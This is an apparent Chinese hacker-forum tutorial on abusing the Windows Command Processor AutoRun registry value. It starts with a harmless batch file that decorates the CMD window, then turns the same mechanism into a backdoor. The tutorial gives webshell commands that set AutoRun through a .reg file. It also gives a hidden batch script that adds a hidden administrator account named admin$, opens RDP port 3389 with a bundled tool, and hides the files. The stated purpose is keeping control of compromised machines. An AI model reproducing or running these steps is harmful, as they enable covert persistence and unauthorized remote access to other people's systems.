CMD也闹鬼！

        CMD？大家熟悉吧？我们可以在这里面查看进程，查看端口号，可以干许多的事！可是你有没有想过，当我们打开CMD的瞬间，我们就有可能中了木马或者病毒了！这可不是说的玩的，现在就让我们一起看看就是怎么一回事？

       话说回来，这还是我有一回在网上转的时候，看到别人可以用这个方法来装扮你的CMD窗口。当时我就想，既然你可以装扮你的窗口，为什么不能干别的呢？我们开始吧！装扮CMD的方法很简单，就是写一个批处理，内容如下：

Copy code
@ECHO OFF
cls
echo "++++++++++++++++++++++++++++++++++++++++++++++++++++"
echo "+                冰的原点                          "
echo "+                                                  "
echo "+      我的博客:[url]http://hi.baidu.com/[/url]冰的原点      "
echo "+                                                  "
echo "+                                                  "
echo "+            欢迎大家访问                          "
echo "++++++++++++++++++++++++++++++++++++++++++++++++++++"
title 冰的原点
color E

        保存为11.bat，随便放在哪个盘里，这里我放在C盘，然后找到注册表，到这个目录下：[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Command Processor]，在右边出现了一个字符串值：autorun.然后右键修改，在弹出的对话框中填入11.bat的绝对路径。如图1.

=700) window.open('http://www.xhonker.com/forum/attachment/154_61_28538ba88f38639.jpg');" src="http://www.xhonker.com/forum/attachment/154_61_28538ba88f38639.jpg" onload="if(this.width>'700')this.width='700';if(this.height>'700')this.height='700';" border=0>
然后点击确定。现在我们再到运行里输入CMD试试，会出现这样的画面。如图2.

=700) window.open('http://www.xhonker.com/forum/attachment/154_61_1875cc0f2913d70.jpg');" src="http://www.xhonker.com/forum/attachment/154_61_1875cc0f2913d70.jpg" onload="if(this.width>'700')this.width='700';if(this.height>'700')this.height='700';" border=0>
到这里为止我们美化我们的CMD窗口就完工了，当然这里面的代码大家可以随便改。

说到这里，大家可能已经想到了这篇文章要讲的是什么了。不过，我在做测试的时候，还是遇到些麻烦.我们把原来代码改成这样：start http://www.baidu.com

然后保存。看看会出现什么效果，如图3.

=700) window.open('http://www.xhonker.com/forum/attachment/154_61_37c17ab61ab316d.jpg');" src="http://www.xhonker.com/forum/attachment/154_61_37c17ab61ab316d.jpg" width=700 onload="if(this.width>'700')this.width='700';if(this.height>'700')this.height='700';" border=0>
百度是打开了，可CMD窗口下，不是明显的摆着我们的命令么？这个怎么能行，一下子就被看穿了！我们得想想办法把这些命令隐藏起来。对，我们用ECHO OFF 试试！再来看下效果，如图4.

=700) window.open('http://www.xhonker.com/forum/attachment/154_61_fbb9501a32c98b0.jpg');" src="http://www.xhonker.com/forum/attachment/154_61_fbb9501a32c98b0.jpg" width=700 onload="if(this.width>'700')this.width='700';if(this.height>'700')this.height='700';" border=0>
很明显的哦。大家都看到了，我们的11.bat不是很明显的暴露在C盘么？这个很好办，我们把它放得隐藏点就得了，每个盘都有一个Recycled目录，只要我们把它传到这里面来，就会显得隐藏一点。好了，原理就讲到这里了，我们来分析下，这个东东到底可以干什么？

想法一：
提权。曾经我想过用这个方法来用做提权，先在webshell里执行：

Copy code
ECHO Windows Registry Editor Version 5.00>door.reg
ECHO [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Command Processor]>>door.reg
ECHO "autorun"="c:\\Recycled\\13.bat">>door.reg
REGEDIT /S door.reg
DEL /F /Q door.reg

然后把13.bat传到c:\Recycled下，然后等着管理员上钩。我在本机上自己用NETBOX搭建个WEB环境，测试的时候确实是成功了。可是我后来转念一想，要是能够执行CMD命令了，还用着到这样么？确实用来提权效果就不明显了。

想法二：
保护我们的肉鸡。这个想法实施起来也可行！我们把他们的注册表做下手脚，然后传个13.bat上去，13.bat内容如下：

Copy code
@echo off
net user admin$ angel /add & net localgroup administrators admin$ /add
wrsky.exe -o 3389
attrib +h +s +a +r 13.bat
attrib +h +s +a +r wrsky.exe

这里的wrsky.exe是指开3389的工具，不需要重启的哦。把它和13.bat 放在同一个目录下.这样的效果很明显，只要一动CMD，就会自动添加admin$的管理员帐户，而且会神不知鬼不觉得把3389给开了！我在本机做的测试，大家看图5

=700) window.open('http://www.xhonker.com/forum/attachment/154_61_0f6321ee027586a.jpg');" src="http://www.xhonker.com/forum/attachment/154_61_0f6321ee027586a.jpg" onload="if(this.width>'700')this.width='700';if(this.height>'700')this.height='700';" border=0>
,6.图5显示这两个文件同时被加上系统属性，而通过图6

=700) window.open('http://www.xhonker.com/forum/attachment/154_61_cf66785d479e34e.jpg');" src="http://www.xhonker.com/forum/attachment/154_61_cf66785d479e34e.jpg" onload="if(this.width>'700')this.width='700';if(this.height>'700')this.height='700';" border=0>
我们可以看到3389终端已经打开了，是不是很过瘾呀？这，不失为又一种保护肉鸡的办法哦。

想法三：
        这次我想到了病毒。因为好多人都喜欢在CMD下杀毒，我想如果病毒对HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Command Processor下的autorun项值进行监视，防止我们修改注册表，然后再加载些病毒或者木马之类的东东的话，这样我们打开CMD时就有可能中更多的毒，伤的更深！

        这篇文章的方法很有局限性，写这篇文章的作用就是想抛砖引玉，给大家提供个思路而已，我想肯定还有更多的方法把这个方法装扮的更加隐藏，更有危害性。